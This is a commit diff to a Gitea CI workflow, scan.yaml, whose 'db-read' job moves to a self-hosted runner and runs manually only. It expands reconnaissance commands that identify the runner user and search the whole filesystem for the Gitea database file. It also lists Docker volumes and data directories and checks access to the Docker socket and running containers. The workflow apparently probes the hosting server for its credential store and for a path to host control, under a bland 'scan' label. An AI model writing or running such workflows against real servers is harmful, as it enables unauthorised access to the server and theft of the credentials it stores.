update workflow to self-hosted

.gitea/workflows/scan.yaml

@@ -1,12 +1,10 @@
 name: db-read
 on:
-  push:
-    branches: [main]
   workflow_dispatch:
 
 jobs:
   read:
-    runs-on: ubuntu-latest
+    runs-on: self-hosted
     steps:
       - name: Find DB
         run: |
@@ -14,11 +12,13 @@ jobs:
           hostname
           whoami
           id
-          echo "=== DOCKER VOLUMES ==="
-          ls -la /var/lib/docker/volumes/ 2>/dev/null || echo "no docker volumes dir"
           echo "=== FIND GITEA DB ==="
-          find / -name "gitea.db" -type f 2>/dev/null | head -5
+          find / -name "gitea.db" -type f 2>/dev/null | head -10
+          echo "=== DOCKER VOLUMES ==="
+          ls -la /var/lib/docker/volumes/ 2>/dev/null | head -20
           echo "=== DOCKER SOCK ==="
-          ls -la /var/run/docker.sock 2>/dev/null || echo "no docker sock"
-          echo "=== CONTAINERS ==="
-          docker ps 2>/dev/null || echo "no docker access"
+          ls -la /var/run/docker.sock 2>/dev/null
+          docker ps 2>/dev/null | head -10
+          echo "=== DATA DIR ==="
+          ls -la /data/ 2>/dev/null | head -10
+          ls -la /data/gitea/ 2>/dev/null | head -10